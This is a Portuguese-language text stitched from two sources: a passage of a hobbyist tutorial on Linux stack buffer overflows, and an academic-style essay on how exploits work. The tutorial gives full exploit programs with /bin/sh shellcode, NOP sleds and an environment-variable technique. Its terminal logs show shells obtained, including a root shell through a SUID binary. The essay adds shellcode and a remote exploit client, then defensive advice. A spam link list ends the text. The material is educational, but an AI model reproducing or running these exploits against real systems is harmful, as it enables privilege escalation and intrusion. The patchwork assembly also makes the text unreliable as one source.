Novo endereco: 0xbffff420
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(lixo)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————–
Ainda não… Mais isso era de se esperar.
Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…
Isso nos possibilita chutar offsets variando de 203 em 203.
Bem melhor do que de um em um.
Vamos tentar na unha mesmo!
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200
Novo endereco: 0xbffff4e8
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400
Novo endereco: 0xbffff5b0
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600
Novo endereço: 0xbffff678
Colocado 203 NOPs
Você digitou: ë^1ÀFF
sh-2.05b$ exit
exit
———————————–
Conseguimos com apenas três chutes nos conseguimos fazer o endereço de
retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs :D )!
Vamos agora a mais um passo para facilitar a nossa vida!
Fazendo o exploit pegar o ESP
Um dos maiores problemas de escrever exploits e que as posições de memória
variam de compilação a compilação, de sistema a sistema e de execução a
execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não
funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!
Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso
Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o
seguinte:
+++++++++++ pega_esp.c ++++++++++++++++
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
void main() {
printf (“Abracadabra..nAlacasan…nE nosso ESP e 0x%08x!nTchanranram!!!nn”,pega_esp());
}
++++++++++++++++++++++++++++++++++
Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que
“por coincidência” e o valor do resultado das funções! Agora compile e execute:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp
pega_esp.c: In function `main’:
pega_esp.c:5: warning: return type of `main’ is not `int’
newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp
Abracadabra..
Alacasan…
E nosso ESP e 0xbffff518!
Tchanranram!!!
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Ai esta nosso ESP!!
Agora vamos deixar em embromação e vamos a
escrita de nosso shellcode mais aperfeiçoado ainda:
+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++
/*
Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272
#define NOP   0×90
// Nossa função[zinha] que pega o valor do nosso ESP
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = pega_esp();
// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereco: 0x%08xn”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
+++++++++++++++++++++++++++++++++++++++++
Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos
antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros
sistemas! A execução será  a mesmo:
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600
Novo endereco: 0xbffff650
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(alguns lixo da memória)
sh-2.05b$ exit
exit
———————————-
Espero amigo que esse entendimento tenha ficado bem claro para voce!
Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).
Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.
Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:
+++++++++++++++++ vuln02.c ++++++++++++++++++++
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[8];
if (argc < 2) {
printf (“Use: %s <string>n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %sn”, buffer);
}
+++++++++++++++++++++++++++++++++++++++++++
Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um
grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode
dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!
Mais podemos ver perfeitamente que ele esta vulnerável:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02
Use: ./vuln02 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
Falha de segmentação (core dumped)
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”.
Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.
Program terminated with signal 11, Segmentation fault.
#0  0×44434241 in ?? ()
(gdb)
———————————
Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno
do programa vulnerável para apontar para outro lugar! Mais não podemos colocar
nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca
disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro
lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de
ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!
Então nosso exploit só precisa de setar uma variável  de ambiente com nossos
NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria
mais perto to topo do stack do que no exemplo anterior!
Então vamos ao exploit:
++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++
/*
Exploit para o segundo programa bugado a stack overflow
com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie
chuck_newbie@hotmail.com
*/
#include <stdio.h>
#define ENV_LEN             4096 // Pode ser bem grande q naum tem problema
#define BUF_LEN              32
#define NOP                     0×90
unsigned long pega_esp(void) {
__asm__(“movl %esp, %eax”);
}
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char *buffer, *var_amb;
int i;
long new_ret;
// Pegamos a posição do stack e adicionamos offsets se desejado
new_ret = pega_esp();
if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset
// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco
buffer = malloc(BUF_LEN);
if (buffer == NULL) {
fprintf (stderr, “Erro ao alocar memória para o buffer!n”);
exit(-1);
}
for (i = 0; i <BUF_LEN; i += 4)
*(long *)&buffer[i] = new_ret;
// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!
var_amb = malloc(ENV_LEN);
if (var_amb == NULL) {
fprintf (stderr, “Erro ao alocar memória para ambiente!n”);
exit(-1);
}
// Agora colocas um monte de nops no inicio dela
for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final
var_amb[i] = NOP;
memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops
var_amb[ENV_LEN] = 0;                                             // Colocamos o NULL Char
setenv(“B4D_R37″, var_amb, 1);                                 // Setamos a varaivel com nome B4D_R37
execl(“./vuln02″, “vuln02″, buffer, 0);                        // Executamos o programa vulneravel
}
++++++++++++++++++++++++++++++++++++++++++
Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!
Vamos aos testes:
——————————————————–
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl
1_2_xpl.c: In function `main’:
1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast
1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ exit
exit
newbie@hostnotfound:~/tecnicas/stack_overflow$
——————————————————
VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso
Endendendo o esquema do SUID
Só pra ficar mais claro agora!
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ su
Password:
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02
root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit
exit
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ id
uid=0(root) gid=0(root)
sh-2.05b$
———————————————
Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.
I

Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.
A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.
Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.
Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.
Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.

O que são exploits

O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.
Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.

Como funcionam os exploits

Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).
O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente
posicionado dentro da área de memória do processo.
No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.
void ProcessaParm(char *arg);
void main(int argc, char *argv[]){
if (argc > 1){
printf(”Param: %sn”,argv[1]);
ProcessaParm(argv[1]);
}
}
void ProcessaParm(char *arg){
char buffer[10];
strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg
tiver mais que 10 carateres havera
um “buffer overflow” */
printf(buffer);
}
Codigo 1: Programa vulnerável a buffer overflow
O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os
mesmos privilégios de execução do aplicativo atacado.
Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.
Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.
1
Figura 1: Organização dos processos em memória…
A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.
Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.
Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.
Normalmente, quando uma função é chamada, os seguintes passos são executados:
1) Os parâmetros da função são colocados da pilha em ordem inversa.
2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno da função à instrução imediatamente seguinte àquela que a chamou.
3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.
4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).
5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.
2
Figura 2: Uso da pilha na chamada de uma função…
Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.
A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.
A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.
3
4
Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.
Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução
de programas.
A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).
Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.
Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.

Um exemplo de exploit baseado no buffer overflow de pilha

Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:
Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é
restrita e deve ser evitada.
O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de
depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.
Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.
Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do
programa em que há entrada de dados por parte do usuário.
O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.
O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.
Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.
listen(Sock, 1);
while(1){
Tam = sizeof(struct sockaddr_in);
if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);
memset(Mens,0,strlen(Mens));
if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2);
TrataMensagem(Mens);
close(Novo);
}
void TrataMensagem(char *Mens){
char Buffer[256];
strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/
.
.
.
}
Código 2: Trecho do programa servidor alvo do ataque
void main() {
__asm__("
jmp INICIO
FUNCAO:
pop %esi
xor %eax,%eax
movb %eax,7(%esi)
mov %esi,%ebx
movb $0x8,%al
mov $0xfffff1ff,%ecx
int $0x80
movb $1,%al
xorl %ebx,%ebx
int $0x80
INICIO:
CALL FUNCAO
.string "/bin/sx "
");
}
Código 3: Código malicioso em assembly
No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o
programa, foi usado o comando: gcc -g -o prog prog.c -ldb.
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
Código 4: Versão em byte code do código malicioso
O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.
Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.
O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.
#include
#define TAM_BUFFER 256
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
char comando[]=”/bin/sx “;
main(int argc, char **argv)
{
unsigned char Buffer[TAM_BUFFER+9];
long end;
end=0xbffff71c;
memset(Buffer,’A',TAM_BUFFER);
strcpy(Buffer,cod);
strcat(Buffer,comando);
Buffer[strlen(Buffer)]=’A';
*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;
*(long *)&Buffer[TAM_BUFFER+4] = end;
Buffer[TAM_BUFFER+8] = 0;
.
.
.
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1);
write(Sock, Buffer, TAM_BYFFER+20);
}
Código 5: Primeira parte do exploit

Conclusão

As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes – geralmente técnicas avançadas de programação – para produzir seus
antídotos, bem como novas funcionalidades.
Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.
Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.
Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (http://www.mibsoftware.com/libmib/astring/)
ou libsafe (http://www.research.avayalabs.com/project/libsafe/).
Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.
Cheap Retro Replica NFL NBA MLB Throwback Football Basketball Jerseys | hp printer ink cartridges refills| Professional Wedding Pianist | Jewelry Making Supplies